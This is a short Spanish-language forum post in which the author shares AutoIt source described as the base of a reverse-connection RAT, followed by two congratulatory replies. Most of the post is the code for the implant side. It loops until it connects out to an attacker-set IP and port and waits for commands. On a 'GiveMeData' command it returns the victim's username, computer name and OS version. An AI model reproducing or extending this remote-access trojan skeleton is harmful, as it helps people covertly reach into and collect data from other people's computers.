HOLA!!!
Estuve Jugando un poco con Autoit los ultimos dias.
Este es un ejemplo que hice de Base para RAT de coneccion inversa (codigo del Server)
#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
_Conectar()
TCPSend ($Socket,"Hola")
While 1 ; Recibir y ejecutar
$Recibe =""
While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
WEnd
$Dat = StringSplit($Recibe,"|||")
Select
case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
EndSelect
WEnd
WEnd
Func _Conectar()
While TCPStartup()=0
sleep (10)
WEnd
While True
$Socket=TCPConnect ($IP,$PORT)
If $Socket>0 Then
ExitLoop
EndIf
Sleep(1000)
WEnd
EndFunc
GRACIAS POR LEER!!!
Brillante 79137913!
Felicitaciones!